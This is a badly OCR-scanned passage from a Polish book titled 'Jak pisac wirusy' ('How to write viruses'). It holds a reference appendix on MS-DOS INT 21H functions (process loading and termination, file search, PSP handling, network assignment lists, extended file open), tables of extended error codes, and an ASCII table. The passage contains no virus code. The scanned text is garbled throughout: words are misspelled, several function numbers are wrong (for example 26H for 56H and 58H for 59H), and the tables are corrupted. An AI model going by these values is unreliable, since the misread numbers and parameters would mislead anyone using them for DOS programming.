. miania sytemu operacyjnego. W takim wypadku tadowana jest po prestu druga kopia COM-
MAND.COM. Ma |etinak swoje ograniczenia. Przykladowe po wywdlaniu diugie] kopii pro-
cesora polecen nie bedziesz mogt zmieniad $rodowiska, gdyz kazdy proces dziedziczy sta-
tyczna kopig rodowiska. Przy korzystaniu z te] funkcji zawsze pamigta), aby przed fej wy-
wotaniem zmnigjszy¢é pamigé przydzielona macierzystemu procesowi (funkej 4AH), gdyz
zazwyczaj proces ten ma przydzielong catg dostepng pamieC i proba wywotania procesu
potomnego konczy sie btedem 8.

Jak pisac wirusy Strona:223




223

i gl R

i

Funkcia 4B0O3H

Nazwa: Ladowanie nakfadki

Wywolanie: AH=4BH
AL=03H
DS:DX - adres taricucha zawierajaceqo nazwe pliku z programen
ES:BX - adres blcku paramelrdw

Powrdt: Ustawiony znacznik C:

AX —kod bledu (1,2,3,4,5,8,10)
Nie ustawiony C. O.K.

Opis: Funkcja faduje do pamigei nakladke. Znaczenie poszezegdinych parametrdw jest takie jak
w przypadku funkeji 4800H.Ladowanie nakladki rézni sig od tadowania programu tym, 2e
naktadka nie uruchamiania nowego procesuy, tylko jest wykonywana w ramach biezgcego.
Co za tym idzie funkcja ta nie tworzy nowege PSP i nie oddaje sterowania do naktadki. Do
zatadowania naktadki nie jest potrzehna zadna namiec, poza przydzielona procesowi,

Funkcja 4CH

Nazwa: Zakoniczenie procesu

Wywotanie: AH=4CH
AL - Kod powrotu

Powrdt: Brak

Qpis: Funkgja koriczy wykonywany proces, zamykajac wszystkie otwarte pliki | zwalniajac pa-
migd przydzielong na poczatku pracy procesu. W rejestrze AL przekazywany jest kod pow-
rotu informujacy proces nadrzedny z jakiego powodu zostata zakoriczona praca procesu.

Uwagi: Jesli Twdj proces uzywat funkeji ograniczajacych dostep do plikow, to przed koticem pracy
powinien zZiikwidowad wszystkie ograniczenia.

Funkcia 4DH

Nazwa; Pubieraniz kodu powrotu procasu potomnego

Wiywotsnie: AH = 4DH

Powrot: AX ~ kod powrotu

Opis: Funkcja zwraca kod powrotu procesu potomnego. W rejestrze AL znajduje sig kod przeka-
zywany jako parametr funkcji 31H lub 4CH, Rejestr AH zawiera informacje systemu doty-
CZgee przyczyny Zakoriczenia procesu:

0 - Naturalne zejécie (Funkcje 00H lub 4CH)
1= Zakoriczony przez Control-C

2 - Zakoriczony przez powazny biad urzgdzenia
3 - TSR. Zakoriczony przez funkeje 31H

Funkcja 4EH

Nazwa: Znajdowanie pierwszego pliku w katalogu

Wywolanie: AH = 4EH
DS:DX - adres taricucha w kodzie ASCIZ zawierajgeego nazwe pliku
CX — atrybuty szukanego pilku

Powrdt: Ustawlony znacznik C:
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AX — kod bledu {2,3,18)
Nie ustawiony C: O.K.
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Opis: Funkeja przeszukuje biezacy lub podany kataleg w poszukiwaniu pliku odpowiadajacego
wzorcowi przekazanej pod adresem wskazywanym przez DS:DX. We wzorcu mogq znajdo-
wac sig symbole 7 i * Oprécz zwykiych plikéw szukane sq pliki ukryte, systemowe i podka-
talogi, jesli w rejestrze CX zostang ustawione bity odpowiadajace atrybutom. Po znalezie-
niu pliku odpowiadajacege wzarcowi w bufurze roboczym operacii dyskowych (DTA) umie-
szezane s informacje wy. farmatu:

PESUR P —

: __ Dffset Rozmiar ~ Zawartos¢
q Q0H 15H Zarezerwowane dla funkeji 4FH
15H 1 Atrybuty o
i 16H Czas ostalniej modyfikacji
16H 2 Data ostatnigj modyfikac]i
; 1AH 4 Rozmiar pliku w bajtach
3 1EH 0DH Nazwa i rozszerzenie pliku w kodzie ASCIZ
p
: Uwagi: Szukanie nastgpnego pasujacego pliku odbywa sig przy pomocy funkeji 4FH.
] Funkcja 4FH

Nazwa: Znajdowanie nastgpreqo pliku w katalogy

Wiwotanie: AH = 4FH

Powrdt: Ustawiony znacznik C:

AX - kod bledu (18)
Nie ustawiony C: O.K.

Opis: Funkeja kontynuuje szukanie plikéw zgodnych ze wzorcem podanym w funkcii 4EH. DTA
przed wywotaniem funkeji musi zawierad informacje w takim formacie, jaki opisany jest
przy poprzedniej funkcii. Jesli funkcja nie znajdzie wigcej plikdw odpowiadajacych wzorco-
wi, o ustawiany jest znacznik C, a rejestr AX zawiera 18 {Brak dalszych plikéw pasujgcych
do wzorca ). W przeciwnym wypadku DTA jest wypelniane w odpowledni sposob, tak ze
mozna wznowic szukanie od tego pliku.

Funkcia 50H

Nazwa: Ustaw segment PSP

Wywolanis: AH = 50H
BX - adres nowego segmentu PSP

Powrot: Brak

Cpis: Funkcja ustawia nowa wartosé segmentu, w kidrym znajduje sig przedrostek procesu
(PSP). Stosowana jest wraz 2 nastepna funkej przy pisaniu programow rezydentnych, kté-
re, aby poprawnie pracowaty, powinny przywrocic¢ swéj oryginainy PSP, a nie korzystad
z PSP akiuainie wykonywanego procesu.

Uwagi: Funkeja nie jest udokumentowana, jednak korzysta z niej wiele programéw typu TSR zna-
nych firm.

Funkcja 51H

Nazwa; Pobierz segment PSP

Wywolzanie: AH=51H

Powrot; BX — aktualny segment PSP
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Opis: Funkcja pobiera aktualny segment PSP. Schemat postgpowania przy programach typu
TSA jest nastepujgey:
— Czedé instalacyjna pobiera swoj segment PSP | zapamigtuie go (np pod zmienng A)
i - Cze8¢ rezydentna podezas wywolania zapamigiuje segment PSP aktuainie wykonywane-
e go procesy, zapamigtuie go (np pod B) i ustawia segment PSP jako A.
- Pa zakoriezeniu wywotania cze$¢ rezydentna przywraca segment PSP wykonywanego
; procesu jake B, :
K Uwagi: Funkeja nie jest udokumentowana, jednak korzysta z niej wiele programdw typu TSR zna-
hych firm,
g Odpowiednik; 62H
Funkcja 52H
Nazwa: Pobierz adres listy adresow MS-DOS
Wywotanie: AH =52H
Powrot: ES:BX - adres listy
Opis: Funkeja 2wraca w rejetrach ES:BX adres wewnetrznej listy adresdw systemu. Format tej
listy jest nastepuigoy:
Offset Rozmiar Zawartosc
-02H 2 Pierwszy przydzielony blok pamigcl.
00H 1 &
01H 2 Adres pierwszeqgo bloku dysku
08H 4 Adres procedury urzadzenia CLOCKS
oc 4 Adres procedury urzadzenia CON:
10H 2 Maksymalna liczba bajtéw dla procedur obstugl urzadzen
20H 1 Liczba urzadzern blokowych w systemie
21H 1 Wartosé komendy LASTDRIVE w CONFIG.SYS
22H ? Procedura obstugi urzadzenia NULL
Uwagi: Funkcja nieudokumentowana. Bad? ostrozny z jej uzywaniem.
Funkcja 54H
Nazwa: Pytanie o stan sygnalizatora weryfikacii
Wywoianie: AH =54H
Powrot; AL=  0-VERIFY OFF
1 - VERIFY ON
Opis: Funkeja zwraca stan sygnalizatora weryfikacii. Jesli znacznik ten jest ustawiony (AL=1) to
po kazdej operacji zapisu na dysk dokonywane jest potwierdzenie poprawnosci poprzez od-
czyt i sprawdzenie kodu kontrolnege CRC.
Funkcja 55H
Nazwa; Utwarz PSP
Wywolanie: AH = 55H

DX - segment nowega PSP
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Powrdt:

Opis:
Uwagi:

Odpowiednik.

Ustawiony znacznik C:

AX ~ kod bledu (1)

Nie ustawiony C:

Funkcja ta tworzy nowy przedrostek PSP,

Funkgja nie jest udokumenlowana.

W nowszych wersjach systemu zaleca sig stosowanie funkcii 4BOGH, kidra tworzy nowy
PSP i uruchamia proces potomny.

Funkcja

26H

Nazwa;
Wywotanie:

Powrdt:

Opis:

Zmiana pozycjl w katalogu

AH = 56H

DS:DX - adres faricucha w kodzie ASCIZ zawierajacego pierwotng nazwe

ES:Di - adres taricucha w kodzie ASCIZ zawierajacego widma nazwe

Ustawiony znacznik C:

AX ~ kod bledu {2,3,5,17)

Nie ustawiony C: O.K.

Funkeja zmienia nazwg pliku, kiérego nazwa przekazywana jest pod adresem wskazywa-
nym przez DS:DX na nazwe znajdujaca sig pod adresem wskazywanym przez ES:DI. Pray
pomacy tej funkeji nie mozna zmieniad nazw plikdw systemowych | ukrytych oraz nazw kar-
totek. Nie mozna réwniez zmienié nazwy pliku w ten sposob, aby odnosita sig do innego
urzadzenia. Moze jednak odnosic sig do innej kartoteki.

Funkeja

57TH

Nazwa:
Wywolanie:

Powrodt:

Opis:

Sprawdzanie ik zmiana daty i czasu modyiikacii pliku.
AH=5%H
AL=  0-Sprawdzanie
1 ~ Ustawianie daty | czaslt
BX - numer dojscia
CX - ¢zas do ustawienia (jesli AL=1)
DX - data do ustawienia {jeshi AL=1)
Ustawicny znacznik C:
AX - kod bledu (1,6)
Nie ustawiony C:
CX ~ czas ostatniej modyfikacii pliku {jesli AL=0)
DX — data ostatniej modyfikacii pliku (jesi AL=0}
Funkcja sprawdza czas | datg ostainie] modyfikacii pliku lub ustawia je.

Znaczenie kolejnych bitdw jest nastgpujgee:

DX

CX:

8.15 — Rok od 1580
5.8 - Micsiac

0.4 - Dzied
11..15 - Godzina

£.10 - Minuta
6.4 —Sekunda/Zz

Funkeja 58H
Nazwa: Pytanie o strateqle przydziatu pamigci lub ustalanie tej sirategi
Wywotanie: AH=58H

AlL= 0-Pytanie
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1 = Ustalanie strateqii
BX = Strategia {jesli AL=1}

Powrot: Ustawiony znacznik C:
AX —kod btedu (1)
Nie ustawiony C:
AX = Stralegia (jesli AL=0)
Opis: Funkeja ustata lub pobigra strategig przydziatu pamigci operacyjnej. Mozliwe sg trzy rodza-
je strategii:
0 - Plerwsze dopasowanie Przy przydziale pamigcet system przydziela pierwszy pasujacy biok. Jest
to stralegia standardowo stosowang przez DOS,
1 - Najlepsze dopasowanie System przydziela ten fragment pamigei, kidrego diugosc najmniej sig

2 - Ostatnie dopasowanie

réini od 2gdanej. Ta strategia jest najbardziej optymalna, ale pochtania
najwiecej czasu przy przydziale,
Funkeja przydziela ostatni blok, kidry ma dostateczng diugosc.

Funkcia 58H

Nazwa: Pytanie o petny kod biedu

Wywotanie: AH = 58H
BX - poziom blgdu (zawsze 0}

Powrdt: AX — rozszerzony kod bedu
BH - klasa bledu
BL ~ proponowana reakcja na biad
CH — Przypuszczalne miejsce powstania blgdu
Zawarlodé rejestréw CL,DX S81,D1,D5,ES jest niszczona

Opis: Funkgja zwraca peiny kod Hedu dla danego poziomu {Patrz rozdziat podwigcony kndom
bledéw). Na razie {DOS pigtka) nie zdefiniowano innych poziomdw btedu poza zerowym,
dlatego w rejestrze BX przed wywolaniem funkcji powinno znaleZ¢ sie 0.

Funkcja 5AH

Nazwa: Tworzenie pliku roboczego

Wywolanie: AH = 5AH
CX — atrybuty pliku
DS:DX - Adres taricucha zawierajgceqo sciezke dostepu w kodzie ASCIZ i 13 wolnych zna-
kéw

Powrét: Lstawiony 7nacznik (-
AX - kod bledu (2,3.4,5)
Nie ustawicny C:
AX - numer dojscia

Opis: Funkcja dziata podobnie jak funkcja 3C - tworzenie dojécia, rdznice s4 tylko takie, ze jako

. parametr jest przekazywana tylko sciezka dostgpy, a nie nazwa pliku. System sam nada

plikowi takg nazwe, ktdra nie istnieje dotychczas w katalogu.

Uwagi: Mimo, iz funkcja zaktada plik roboczy, o nie jest on automatycznie kasowany przy koficu
Pracy procesu.

Funkcja 5BH

Nazwa: Tworzenie nowego pliku

Wywotanie: AH =3CH
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Powrdt:

Qpis:

Ustawiony znacznik C:

AX - kod bledu (2,3,4,5,80)

Nie ustawiony C:

AX —numer dojécia

Funkeja tworzy plik o podangj nazwie, réwnoczesnie definiujac don dojscie 2 uprawnienia-
mi do czylania i pisania w pliku.Nowy plik ma zerowa diugosé i atrybuty przekazane wreje-
strza CX. Jesli plik o podane] nazwie juz istnieje to funkeja koriczy sig bigdem.

Funkcia

5CH

Nazwa:
Whywotanie:

Fowrot:

Opis;

Uwagi:

Rezerwowanie lub zwalnianie czgsci pliku
AH=5CH
AL= 0 rezerwowanie

1~ zWalnlanie
BX - numer doiscia
CX:DX — start obszaru w pliku
SI:01 - dlugosé abszaru w pliku
Ustawiony znacznik C:
AX - kod bledu {1,6,33,36)
Nie ustawiony C: O.K.
Funkcja rezenwuie lub zwalnia czesé phiku. Tylko proces wykonujacy funkejg ma prawo do
wykonywania operacii czytania/zapisu na tym obszarze funkgji. Jeshi jaki$ inny proces be-
dzie probowat uzyé tej czesel pliku, to po wykonaniu liczby nawrotéw zdefiniowans| przez
funkcje 440BH wywola przerwanie 24H.
Microsoft nie gwarantuje, iz przy koriczeniu procesu wszystide zarezerwowane pliki beda
automatycznie zwolnicne. Dlatego musisz sam pamigtac o zwalnianiu plikéw przez koricza-
CY SW§ Prace proces.

Funkcia

5ECOH

Nazwa:
Wywolanie:

Powrdt:

Opis:

Pytanie o nazwe stanowiska roboczego

AH =5EH

AL = 00H

[5:DX — adres 16-bajtowego bufora

Lstawiony znacznik C:

AX - kod ttedu (1}

Nie ustawiony C:

CX - numer identyfikacyjny komputera lokalnego

Funkcja wpisuje do bufora znajdujgceqoe sie pod adresem DS:0X sieciowq nazwe kompute-
ra fokatnege (teqo, z ktdrego jest wywolywana). Ponadto w rejestrze CX funkeja zwraca
ideniyfikator sieciowy komputera.

Funkcja

5E02H

Nazwa:
Wywolanie:

Powrdt:

Jak pisac wirusy

Ustalanie znakow sterujacych drukarka.

AH =5EH

AL = 02H

BX — indeks w lidcie przypisar

CX ~ dhugose znakow sterujacych

DS:DX — adres, pod kitrym znajduja sig znaki sterujgce
Ustawiony znacznik C:

AX - kod btedu {1)

Nie ustawiony C. O.X,
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Funkcja ustala ciag znakow sterujacych, kiory bedzie wysytany przed kazdym plikiem dru-
kowaniem do odleglej drukarki, ktéra jest zdefiniowana na lidcie przypisan pod numerem
Znajduigcym sig w BX.

Funkcja

5F02H

Mazwa;
Wywolanie:

Powrdt:

Opis:

Pytanie o pozycig fisty przypisar
AH=5FH
AL = 02H
BX = indeks w iiscie przypisan
DS:51 - adres farticucha w kodzie ASCIZ zawlierajaceqo nazwg [okalng
ES:DI - adres faricucha w kodzie ASCIZ zawierajgcego nazwe odlegly
Ustawiony znacznik C:
AX —ked biedu {1,18)
Nie ustawiony C:
BL= 3-Drukarka
4 —Dysk
CX —Warlosc przypisana urzgdzeniu przez uzytkownika
Funkeja zwraca infermacie o urzadzeniu znajdujaeym sig na liscie przypisasi pod pozycja
przekazang w rejestrze BX. Pod adresami wskazywanymi przez D&:D1 i ES:DI 2wracane
sg odpowiednio lokalna i odlegta nazwa urzadzenia, W rejestrze BL typ urzadzenia, a w re-
jestrze CX wartoéé przypisana urzadzeniu podczas tworzenia pozyc|i na liscie przypisan.

Funkcia

5F03H

Nezwa
Wywotanie:

AH =5FH
AL=03H
BL = 03H

3 - Drukarka
4 - Dysk

CX ~Wartesé przypisana urzadzeniu przez uzytkownika
DS:S1 - adres taricucha w kodzie ASCIZ z nazwg lokalna
ES:DI - adres taricuchéw w kodzie ASCIZ z nazwg odlegta i hastem

Powrdt; Ustawiony znacznik C:

AX - kod bledu {1,3,5,8, i inne zalezne od sieci)
Nie ustawiony C. QK.

Opls: Funkeja dodaje nowa pozycje do listy przypisari. Znaczenie parametraw jest przedstawio-
ne powyze). Poprawne zakonczenie funkcji oznacza, iz uzyskano dostep do zascbu miesz-
czgcego sie w odieglym wezle. Dokladna postad nazwy odlegte;j zaleZy od konkreinej reali-
7Aji SiAG.

Funkcja 5F04H

Nazwa: Usunigcie pozycji z listy przypisart

Wywotanie: AH =5FH
AL = 04H
DS Sl - adres farcucha w kodzie ASCIZ zawierajacego nazwg lokalng

Powrot: Ustawiony znagznik C:
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AX « kod bedu (1,15, i inne zalezne od sieci)
Nie ustawiony C. O.K.
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Opis: Funkeja uslwa 7 listy przypisari pozycie odpowiadajacg nazwie lokalnel, ktdra jest przeka-
zywana pod adresem wskazywanym przez DS:51. Nazwa lokalna moze by¢ nazwa dysku,
drukarki lub moze to byé symbol \\. Ta ostatnia oznacza 2gdanie usunigeia wszystkich po-
zycii z listy przypisarl | zerwania potgczenia miedzy komputerem lokalnym i siecia.
Funkgja 62H
Nazwa: Pobieranig adresu PSP
Wywolanie: AH = 62H
Powiét: BX — adres segmentu przedrostka procesu {identyfikatora procesu)
Opis: Funkcja zwraca w rejestrze BX adres segmentu przedrostka biezacego procesu.
Funkea 65H
Nazwa: Pobieranie rozszerzonych informagi o kraju
Whywotanie: AH = 85H
AL= 1 -Pobierz tablice infermacji o kraju
2 - Pobierz adres tablicy konwersji znakow
4 - Poblerz adres pliku z tablicg konwersjl znakdw
6 — Pobierz adres tablicy sortowania znakow
DX - identyfikator kraju
BX —Matryca znakdw
CX — Rozmiar bufora {(co najmnig] 5)
ES:DI - Adres bufera z danymi
Powrdt: Ustawiony znacznik C:
AX - kod bledu (1)
Nie ustawiony C:
C.K., w buforze zngjduja sig dane
Opis: Funkcja zwraca szereg informacii o kraju, ktdrego numer podany jest w rejestrze DX. Jesli
dane nie mieszcza sig w buforze, to g ucinane. Znaczenie danych — patrz funkcja 38H.
Uwagi: Funkcja dostepna dopiero od wersji 3.30
Funkcja 66H
Nazwa: Ustalenie/Pobranie globalnej matrycy znakow
Wywolanie: AH = 66H
AL= 1-pobierz globalng matryce znakdw
2 - ustaw globalng matrycg znakdw
BX - numer matrycy (jesli AL = 2}
Powrét: Ustawiony znacznik C:
AX - kod blgdu {1)
Nie ustawiony C:
BX - aktualna matryca znakéw
. DX - systemowa (ustawiana w czasie startu systemu) matryca
Opis: Funkgja ustala nowg malryce znakdw lub pobiera aktualng, Znaczenie parametrow jest
przedstawione powy:e,.
Uwagi: Funkcja dostepna dopiero od wergji 3.30
Funkcja 67H
Nazwa: Ustawienie maksymalnej iczby otwartych dojéé
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Wiwotaniz: AH = 67H
BX — maksymalna ilazba otwartych dojsé

Powrat: Ustawiony znacznik C:

AX - kod bledu (8)
Nie ustawiony C: O.K.

Opis: Funkcja ustala maksymalng liczbg réwnoczednie otwartych dojéé. Liczba ta jest przekazy-
wana w BX. Jesli BX jest mnigjsze od 20 to liczba dojsc jest ustawiana na 20. Nie ma ogra-
niczen na wartos¢ przekazywana w BX {do OFFFFH) poza ograniczeniami pamigei. Liczha
rownoczesnie otwartych to dojsé to liczba pozycji w tablicy dojsé dla procesu. Jesh wigc
brak pamieci dla nowej tablicy dojéc, to sygnalizowany jest blad.

Uwagi: Funkgja dostepna dopiero od wersji 3.30

Funkcja 68H

Nazwa: Stabilizowanie pliku

Wywolanie: AH=68H

Poveect: Ustawicny znacznik C;

AX — kod bledu (6)
Nig ustawiony C: QK.

Opis: Funkcja przepisuje wszystkie bufory zwiazane 2 plikiem, do ktérego dojécie jest przekazy-
wane w rejestrze BX,

Uwagi: Funkcja dostepna dopiero od wersji 3.30
Stosuj jg przy obstudze plikow zawierajacych bazy danych. Normalnie DOS czyscit bufory
plikow tylke podezas ich zamykania. Tak wiec na przyktad awaria systemu mogta pawado-
wac utratg danych. Aby temu zapobiec programy obstugujace bazy danych zamykaty pliki
 otwieraly je na nowo po kazde] operacji. Wyatuzalo to jednak znacznie procedury dysko-
wa tych programdw.

Funkcja 6CH

Nazwa: Rezszerzone otwigranic dojécia

Wywolanie: AH = 6CH
AL = 00H

Jak pisac wirusy

BX —tryh otwarcia, Poszczegding bity maja nastgpujace znaczenie (patrz funkcja 3DH)
0-3 tryb dostepu
4-6 tryb dzielenia
7 dzigdziczenie dojscia przez potomne procesy
13 0 - przy Medzie krytycznym wywolywane jest
przenwanie 24H
1 - przerwanie nie jest wywotywane
14 0 - buforowanie zapisu pliku na dysk
1 -bezposredni zapis na dysk
CX —atrybuty pliku (w przypadku tworzenia)
DX - rodzaj dziatania, ktére ma zostaé podjete:
0OCTH - otwiera plk, jesl istnigje, w przeciwnym
wypadku funkeja koriczy sig bledem
0011H - otwiera plik, jesii istnieje, w przeciwnym
wypadku tworzy go
0012H - Jedli plik istnisje, to kasuje jego zawartosé,
W przeciwnym wypadku tworzy go
05:51 - adres faricucha w kodzie ASCIZ zawiergjacego nazwe pliku
CX - atrybuty pliku
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Powrot:

Opis:

Uwagi:

Jak pisac wirusy

Ustawiony znacznik C:

. AX — kod bledu (2,3,4,5,12)

Nie ustawiony C:
AX —numer dojécia
BX=  0-plik zostat otwarty

1 — plik zostat utworzony | otwarty

2 — skasowany zostata poprzednia zawartose pliky |

plik zostat otwarly

Funkgja otwiera plik o podanej nazwie, réwnoczesnie definiujge don dojécie z uprawnienia-
mi do czytania i pisania w pliku, Mozesz ja traktowad jako rozszerzenie funkcji 3CH i 3DH.
Dodatkowo funkeja moze wigczad | wylgczad wywotywanie przerwania 24H w wypadku wy-
stgplenia bfedu.
Funkgja jest wzorowana na otwieraniu plikéw w systemie OS/2. Wystepuie dopiers od wer-
sjl 4.0 MS DOS-a. Wiekszosé wywolan funkeji zwraca w wypadku wystapienia blgdu usta-
wiony wskaznik Carry oraz kod biedu w rejestrze AX, Jedli taka informacja nie jest wystar-
czajgca, 1o mozliwe jest ofrzymanie rozszerzonych wiadomosci o biedzie, po wywolaniu
DOSowskiegj furkeji 55h z parametrem O w rejestrze BX. funkeja ta zwraca odpowiednio
w rejestrach:
AX: Kod bledu.
BH: Klase bedu.
BL: Proponowang reakcje.
CH: Przypuszczalne migjsce powstania bigdu.
W przysziych wersjach systemu moze sig zmienié znaczenia niektdrych koddw. W celu za-
chowania kompatybilnosci do funkeji 59h przekazywana jest warlo$é poziomu bigdu w reje-
strze BX. Poziomn blgdu okresla dla jakie] wersji systemu pylamy o znaczenie btedu.
W przyszhych wersjach systemu mogg zostac zdefiniowane inne poziomy niz zerowy, Mic-
rosoft gwarantuje, iz znaczenie koddw blgdéw na poziomie 0 nia ulegnis zmianie w przy-
sziosci i bedzie zgodne z ponizszymi tabelam:.
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{ 22 Kody Bigdéw

: Hex Dec Znaczenie
0 1 Zaden bigd nie wystapi
: 1 1 Bledny kod funkcji sieciowej.
2 2 Nieznaleziony plik.
f 3 3 Nieznaleziona éciezka dostepu.
4 4| Zbytduo plikew otwartych rownoczese.
_ 5 5 Brak uprawnier! do dostepu.
6 6 | Blednedojscie.
r 7 7 Uszkodzenie(zapisanie przez nieuprawniony proces) bloku pamigei.
3 8 8 Niewystarczajgca ilosé pamieci.
8 9 Btedny adres bloku pamieci.
OaH 10 Biedna postac srodowiska.
ObH 1 Bledny format danych.
OcH 12 Bledny kod dostepu.
0dh 13 Blednc danc. o
4 Oeh 14| (Nisuzywany).
Oth 15 Btedny naped.
10h 18 Proba skasowania biezacego katafogu.
11h 17 Blad przy zmianie nazwy pliku.
12h 18 Brak dalszych plikéw pasujacych do wzorca.
13h 18 Préba zapisu na dyskietce chronionej fizycznie przed zapisem.
14H 20 Bledny numer dysku.
15H 21 Naped dyskowy niegotowy.
16H 22 Biedne polecenie dia dysku,
17H 23 Biad CRC.
~18H 24 Btgdna dtugoesd transmitowane] struktury.
19H 25 Blad szukania sciezki na dysku.
1aH 26 Dysk sformatowany w innym systemie.
1bH 27 Nieznaleziony sektor.
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Hex Dec Znaczenie

1cH 28 Brak papieru w drukarce. o

1dH 29 Btad zapisu.

1eH 30 Bigd odc.;.;ml. o

115 31 inny btad dyskowy,

205 32 Bledna prdﬁe; dostepu do pliku dzielonege.

21H 33 Plik {lub czgéc) zarazerwowana przezmny proces.

22H 34 2ty dysk,

234 35 Niedostepny blok FGB.

24H 36 Przapetnienie bufora podziatu pliku. {Nieudokumentowany},
25H-1H {Zarazerwowana). -

32H o 50 o Niezainsialowana funkcja sieciowa. )

33H o1 Brak kontakiu z odleghym komputeram w siecii,

34H 62 Podwc':-jn; lr-1-a.zwa W siecl.

35H 53 Biedna nazwa wezla siecicwego.

36H 54 | Siedzajeta, | o

37H 55 Préba dostepu do niefstniejqoego urzgdzenia sieciowego.

38H 56 Zbyt duio zlecen sieci;@ch.

38H 57 Bigd sprzgtowy karty sieciowe],

3aH 53 Niewlasciwa odpowiéﬂni“z sieci.

3bH 53 - Niespodziewany ([nny) btad siér,:iowy.

Jch HU Ni&k[}ﬂ]pﬁéﬁbilﬂ& k-a-l-:-t“y_;ieuiuwe komputerdw przy prdbi;;ontaktu. lllll J

3dH 61 Przepeinienie kolgjki do drukowania. -

JeH 62 W kolejce do drukowania jest juz miejsce (Tylko sygnat — nie biad).

3fH 63 Brak migjsca na wydrukowanie pliku,

40H B4 Wezet sieciowy zostal usunigty.

41H 65 Brak uprawnien do dostepu w siec,

42H 66 Blgdny typ urzadzenia dyskowego.

434 67 Nie znaleziono takie] nazwy w sieci.

44H 68 Przekroczony limit nazw w sieci (przepeiniona tablica nazw).

45H 69 Przekroczona liczha sesji w sieci,

46H 70 Chwilowa przerwa w pracy sieci. :

Jak pisac wirusy
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Hex Dec Znaczenie
47H 71 Zadanie sieciowe nie zaakceptowar-'te..
48H 72 Drukowanie lub nawigzywanie kontakiu chwilowo przerwane.
49H-4fH (Zarezerwowane}
50H “ 80 Tworzony plikljuz istnigje.
51H 81 {Zarezerwowane) ' )
52H 82 iNie mozna Litworzy¢ dojscia do katalogu.
53H 83 Blad przerwania 24H symulujacego wystapienie bledu urzgdzenia.
54H 84 Przepelnienia strukhur danych.
55H 8> Urzgdzenie juz przytaczone. -
56H 86 Biedn; 1hasio.
57H &7 Bledny patamétrl.
58H 88 Btgd zapisu w siect.
14H 20 Bledny numer dysku. 1 Te warto$cl odpowiadajg bledom 0-OcH
) przekazywanym w rejestrze DI po
15H | 21 | Napeddyskowy niegolowy. 2 |wykonaniu przerwania 24H oraz wartosciom
16H | 22 | Bledne polecenie dia dysku. 3 |wrefestrze AL po wystapieniu bigdu po
: przerwaniu 25H/26H.
i7H 23 Blad CRC. 4
18H 21 Bladna diugosd transmitc-;;r::ei struktury. 5
184 2h Biad szukania $ciezki na dysku. B
1aH 28 Dysk sformatowany w innym syste;ﬁe. 7
16H 27 Nieznaleziony sekior. ) 8
1cH 28 Brak papieru w drukarce. g
1dH 29 Btad zapisu. OaH
1eH 30 Blad odczylu. ObH
11K 31 Inny biad dyskowy. DcH
Hex Dec Znaczenie (Kod Zwiacany przez funkcje 59h w rejestrze BH).
1 1 o Brak zasobu. {pamigci, FCB, kanaty, ;:iﬁ;s'cia itd.)
2 2 Sytuacja prze|$ciowa.
3 3 Brak uprawnien.
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Hex Dec Znaczenie (Kod zwracany przez funkcje 58h w rejestrze BH),
4 4 Wewngtrzny bfad systemu op_eruacyjnego (Np. uszkodzenie strukfd.r.-njanych).
5 5 Biad sprzetu. -
6 6 Btad systemowy niezawiniony przez proces (Np. zia konfiguracja systemu).
7 7 Blgd procesu. {Np. zie zadanie, bedne przekazanie‘ pe_lr_ametnjw}.
B B Br; ﬁ;iku lub ohiskiu. -
9 g Btgd formatu pliku lub innego ;JI;‘iektu{piiku EXE.
0aH 10 Préba dostepu do zarezemowar;ego pliku lub obiektu.
OLH 11 Btedny noénik danych. | )
QcH 12 Inny bigd.

Proponowana reakeja programu.

Hex Dec Znaczenie {Kod zwracany przez funkcje 58h w rejestrze BL).

1 1 Powtarzaj: Wykonaj operacie kilka razy, jesli biad wystapi zapyia) o decyzie uzytkownika.

9 2 Powtarzaj pe prrerwie: Qdczeka) chwilg, wykonaj operacig kilka razy, jesti biad dalej
wystepuje zapyta) o decyzje Uzytkownika.

3 5 Zapyta ponownie ¢ dane: Jesli dane (takie jak Sciezka dostepu, czy nazwa pliku} byty
wprowadzane przez uzytkownika, to popres o powtérne ich wprowadzenie,

4 4 Przerwi: Przenwij proces w normalny sposdb (zamykajac plik, zwalniajac pamigd itd.),

5 5 Przerwij Natychmiast: Dalsza kontynuacja pracy grozi zatamaniem sig systemu
operacyjnego.

B 6 Ignorj: Kod nie cznacza bledu tylka informacje (np kod 3eh).

7 2 Powldrz po podjeciu akeji przez uzytkownika: zazadaj od uzytkownika podjgeia akgji (np.
wymiany dyskietki w napgdzie) nastepnie powiérz operagig.

Przypuszczalne miejsce powstania bledu.

Hex Dec Znaczenie (Kod zwracany przez fU-I'II(CjQ 53h w rejestrze CH).
1 1 Nieznane.
2 2 Urzadzenie blokowe {np. Dysk).
3 3 Sigd.
4 4 Urzadzenie znakowe (np. Drukarka).
5 5 Pamieg.

Jak pisac wirusy
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4+ 23.Znaki ASCII
$§ D H D H D H D H
£ 0 0 32 20 64 40 @ 96 60
31 1 © 33 21 ¢ 65 41 A 97 61 a
22 o2 © 34 22 66 42 B 98 62 b
33 3 v 35 23 % 67 43 C 99 63 «c
: 36 24 ¢ 68 44 D 100 64 d
$25 5 & 37 25 % 69 45 E 101 65 e
$6 6 & 38 26 & 70 46 F 102 66 f
27 7 @ 39 27 7147 G 103 67 g
23 s O 40 28 | 72 48 H 104 68 h
$2°2 9o O 41 29 ) 73 49 I 105 69 i
g0 A H iz za o+ 4 AR T 106 6A ]
411 8 O 43 2B + 75 4B K 107 6B X
X122 ¢ 7 L4 20 76 4C L 108 6C 1
13 D J 45 2D - 77 4D M 102 6D m
f 14 E A 46 2E . 78 4E N 110 6E n
L 15 F & 47 2F / 79 4F O 111 6F o
E 15 10 P 48 30 0 80 50 P 112 70 p
17 11 4 45 31 1 g1 51 0 113 71 g
18 12 ¢ 50 32 2 82 52 R 114 72 r
€19 13 1! 51 33 3 83 53§ 115 73 s
20 14 9 52 34 4 84 54 T 116 74 t
21 15 § 53 35 5 85 55 U 117 75 u
22 16 e 54 36 6 86 56 V 118 76 v
23 17 ¢ 55 37 7 87 57 w 119 77 w
24 18 1T 56 38 8 88 58 X 120 78 x
25 19 ¢ 57 39 9 89 59 Y 121 79 vy
F26 1A > 58 3A 90 SA Z 122 7a =z
27 1B ¢ 59 3B 91 5B | 123 7B {
28 1C - 60 3C < 92 5C 124 7C |
%29 1D © 61 3D = 93 5D ] 125 7D )
30 1E A 62 3E > 94 5E 126 7E  ~
M iF W §3 3F ? 95 S5F _ 127 77 {°
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128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159

80
81
82
83
84
85
86
87
88
g8y
8A
8B
BC
8D
8E
8F
